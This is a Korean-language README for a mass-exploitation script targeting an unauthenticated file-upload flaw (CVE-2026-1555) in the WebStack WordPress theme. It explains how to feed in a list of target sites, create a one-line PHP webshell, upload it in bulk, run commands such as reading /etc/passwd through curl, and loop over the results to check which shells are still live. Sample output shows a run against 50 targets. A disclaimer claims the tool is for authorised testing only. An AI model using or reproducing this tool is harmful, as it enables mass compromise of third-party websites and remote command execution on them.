
WebStack <= 1.2024 - 인증되지 않은 임의 파일 업로드
WebStack <= 1.2024 - 인증되지 않은 임의 파일 업로드
img_upload AJAX 핸들러를 통한 인증되지 않은 원격 코드 실행
WordPress admin-ajax.php 액션 훅 img_upload에 등록된 io_img_upload() 함수는 업로드된 파일을 서버에 저장하기 전에 파일 유형 또는 확장자 검증을 전혀 수행하지 않습니다. 이 액션은 인증 확인 없이(wp_ajax_nopriv_) 등록되어 있으므로, 인증되지 않은 원격 공격자는 PHP 웹쉘을 포함한 임의의 파일을 POST할 수 있으며, 서버는 이를 공개적으로 접근 가능한 경로에 저장하여 직접적인 원격 코드 실행을 가능하게 합니다.
취약한 엔드포인트:
POST /wp-admin/admin-ajax.php
action=img_upload
files=@<payload>
uploaded_paths.txt에 저장Python 버전: 3.8+
의존성 설치:
pip install requests rich urllib3
list.txt(또는 원하는 다른 이름) 파일을 만들고 한 줄에 대상 하나씩 입력합니다:
https://target1.com
https://target2.com
http://target3.com
http://또는https://가 없는 대상에는 자동으로http://가 접두사로 붙습니다.
웹쉘을 스크립트와 동일한 디렉터리에 배치합니다. 예:
# Minimal PHP webshell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
python CVE-2026-1555.py
다음 항목을 입력하라는 메시지가 표시됩니다:
| 프롬프트 |
|---|
업로드에 성공할 때마다 다음과 같이 출력됩니다:
╭─ IMG_UPLOAD ──────────────────────────────────╮
│ Upload successful │
│ │
│ Target: https://target.com │
│ Shell URL: https://target.com/wp-content/... │
╰────────────────────────────────────────────────╯
성공한 모든 셸 URL은 다음 파일에 추가됩니다:
uploaded_paths.txt
업로드에 성공하면 브라우저 또는 curl을 통해 셸에 직접 접근할 수 있습니다:
# Browser
https://target.com/wp-content/uploads/shell.php?cmd=id
# curl
curl "https://target.com/wp-content/uploads/shell.php?cmd=whoami"
# Full command execution
curl "https://target.com/wp-content/uploads/shell.php?cmd=cat+/etc/passwd"
정확한 업로드 경로는 서버의 JSON 응답(
data.src)에서 추출되어 자동으로 출력됩니다.
출력 파일에서 업로드된 모든 셸을 빠르게 검증합니다:
while read url; do
echo -n "[*] $url -> "
curl -sk "$url?cmd=id" 2>/dev/null || echo "DEAD"
done < uploaded_paths.txt
각 실행이 끝나면 요약이 출력됩니다:
Summary 50/50 OK: 12 FAIL: 38
╭──────────────────────────────────────────╮
│ Shell URLs saved to uploaded_paths.txt │
╰──────────────────────────────────────────╯
CVE-2026-1555.py ← Main exploit script
list.txt ← Target URLs (one per line)
shell.php ← Payload to upload
uploaded_paths.txt ← Auto-generated: successful shell URLs
이 도구는 승인된 침투 테스트, 보안 연구 및 교육 목적으로만 제공됩니다.
저자 Nxploited는 이 도구를 사용하여 발생하는 모든 오용, 손해 또는 불법 활동에 대해 어떠한 책임도 지지 않습니다. 이 도구를 사용함으로써 귀하는 모든 대상 시스템을 테스트할 수 있는 명시적인 서면 허가를 받았음을 확인하는 것입니다.
귀하가 소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법이며, 적용되는 사이버 범죄 법률에 따라 형사 기소될 수 있습니다.
책임감 있게 사용하십시오. 귀하의 행동에 대한 책임은 전적으로 귀하에게 있습니다.
👤 제작자: Nxploited 📣 채널: Nxploited ZeroDay Hub 💬 텔레그램: @KNxploited
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2026-1555 |
| 영향받는 구성 요소 | WordPress용 WebStack 테마 |
| 취약한 버전 | 1.2024 이하의 모든 버전 |
| 취약점 유형 | 임의 파일 업로드 → 원격 코드 실행 |
| 인증 필요 여부 | ❌ 없음 (인증 불필요) |
| CVSS 점수 | 9.8 CRITICAL |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| 설명 |
|---|
| 기본값 |
|---|
Targets file | 대상 목록의 경로 | list.txt |
Threads | 동시 작업자 수 | 6 |
Local file to upload | 페이로드 파일 이름(스크립트 디렉터리 내) | shell.php |